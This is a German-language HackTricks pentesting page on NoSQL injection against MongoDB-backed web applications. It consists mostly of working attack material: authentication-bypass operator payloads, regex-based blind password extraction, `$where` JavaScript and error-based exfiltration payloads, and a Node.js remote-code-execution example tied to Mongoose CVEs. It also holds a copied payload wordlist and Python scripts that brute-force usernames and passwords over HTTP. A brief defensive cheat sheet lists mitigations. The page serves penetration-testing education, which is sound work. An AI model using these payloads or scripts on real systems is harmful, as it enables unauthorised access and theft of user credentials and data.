hacktricks/src/pentesting-web/nosql-injection.md

279 lines
12 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# NoSQL-Injection
{{#include ../banners/hacktricks-training.md}}
## Ausnutzen
In PHP können Sie ein Array senden, indem Sie den gesendeten Parameter von _parameter=foo_ zu _parameter[arrName]=foo_ ändern.
Die Exploits basieren auf dem Hinzufügen eines **Operators**:
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### Basic authentication bypass
**Verwendung von ungleich ($ne) oder größer ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
Ein Angreifer kann dies ausnutzen, indem er Zeichenfolgen wie `admin' || 'a'=='a` eingibt, wodurch die Abfrage alle Dokumente zurückgibt, indem die Bedingung mit einer Tautologie (`'a'=='a'`) erfüllt wird. Dies ist analog zu SQL-Injection-Angriffen, bei denen Eingaben wie `' or 1=1-- -` verwendet werden, um SQL-Abfragen zu manipulieren. In MongoDB können ähnliche Injektionen mit Eingaben wie `' || 1==1//`, `' || 1==1%00` oder `admin' || 'a'=='a` durchgeführt werden.
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Extrahiere **Längen**informationen
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extrahieren von **Daten**informationen
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp
username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*
in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP Arbitrary Function Execution
Mit dem **$func** Operator der [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) Bibliothek (standardmäßig verwendet) könnte es möglich sein, eine beliebige Funktion auszuführen, wie in [diesem Bericht](https://swarm.ptsecurity.com/rce-cockpit-cms/).
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### Informationen aus einer anderen Sammlung abrufen
Es ist möglich, [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) zu verwenden, um Informationen aus einer anderen Sammlung abzurufen. Im folgenden Beispiel lesen wir aus einer **anderen Sammlung** namens **`users`** und erhalten die **Ergebnisse aller Einträge**, deren Passwort mit einem Platzhalter übereinstimmt.
**HINWEIS:** `$lookup` und andere Aggregationsfunktionen sind nur verfügbar, wenn die `aggregate()`-Funktion verwendet wurde, um die Suche durchzuführen, anstelle der häufigeren `find()`- oder `findOne()`-Funktionen.
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
### Error-Based Injection
Injiziere `throw new Error(JSON.stringify(this))` in eine `$where`-Klausel, um vollständige Dokumente über serverseitige JavaScript-Fehler zu exfiltrieren (erfordert, dass die Anwendung Datenbankfehler leakt). Beispiel:
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## Aktuelle CVEs & reale Exploits (2023-2025)
### Rocket.Chat unautorisierte blinde NoSQLi CVE-2023-28359
Versionen ≤ 6.0.0 exponierten die Meteor-Methode `listEmojiCustom`, die ein benutzerkontrolliertes **selector**-Objekt direkt an `find()` weiterleitete. Durch das Injizieren von Operatoren wie `{"$where":"sleep(2000)||true"}` konnte ein unautorisierter Angreifer ein Timing-Orakel erstellen und Dokumente exfiltrieren. Der Fehler wurde in 6.0.1 behoben, indem die Form des Selectors validiert und gefährliche Operatoren entfernt wurden.
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 & CVE-2025-23061
Wenn `populate()` mit der `match`-Option verwendet wird, kopierte Mongoose (≤ 8.8.2) das Objekt wörtlich *bevor* es an MongoDB gesendet wurde. Das Bereitstellen von `$where` führte daher zur Ausführung von JavaScript **innerhalb von Node.js**, selbst wenn serverseitiges JS auf MongoDB deaktiviert war:
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
Der erste Patch (8.8.3) blockierte das Top-Level `$where`, aber das Nesten unter `$or` umging den Filter, was zu CVE-2025-23061 führte. Das Problem wurde in 8.9.5 vollständig behoben, und eine neue Verbindungsoption `sanitizeFilter: true` wurde eingeführt.
### GraphQL → Mongo Filter Verwirrung
Resolver, die `args.filter` direkt in `collection.find()` weiterleiten, bleiben anfällig:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
Mitigationen: rekursiv Schlüssel entfernen, die mit `$` beginnen, erlaubte Operatoren explizit zuordnen oder mit Schema-Bibliotheken (Joi, Zod) validieren.
## Defensive Cheat-Sheet (aktualisiert 2025)
1. Entfernen oder ablehnen Sie jeden Schlüssel, der mit `$` beginnt (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
2. Deaktivieren Sie serverseitiges JavaScript auf selbstgehostetem MongoDB (`--noscripting`, Standard in v7.0+).
3. Bevorzugen Sie `$expr` und Aggregations-Builder anstelle von `$where`.
4. Validieren Sie Datentypen frühzeitig (Joi/Ajv) und verbieten Sie Arrays, wo Skalare erwartet werden, um `[$ne]` Tricks zu vermeiden.
5. Für GraphQL, übersetzen Sie Filterargumente durch eine Erlauben-Liste; niemals untrusted Objekte verbreiten.
## MongoDB Payloads
Liste [von hier](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/index.html)//+%00
' && this.passwordzz.match(/.*/index.html)//+%00
'%20%26%26%20this.password.match(/.*/index.html)//+%00
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
```python
import requests, string
alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()
username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### Brute-force-Login-Benutzernamen und -Passwörter von POST-Login
Dies ist ein einfaches Skript, das Sie anpassen könnten, aber die vorherigen Tools können diese Aufgabe ebenfalls erledigen.
```python
import requests
import string
url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
```
## Tools
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## References
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}}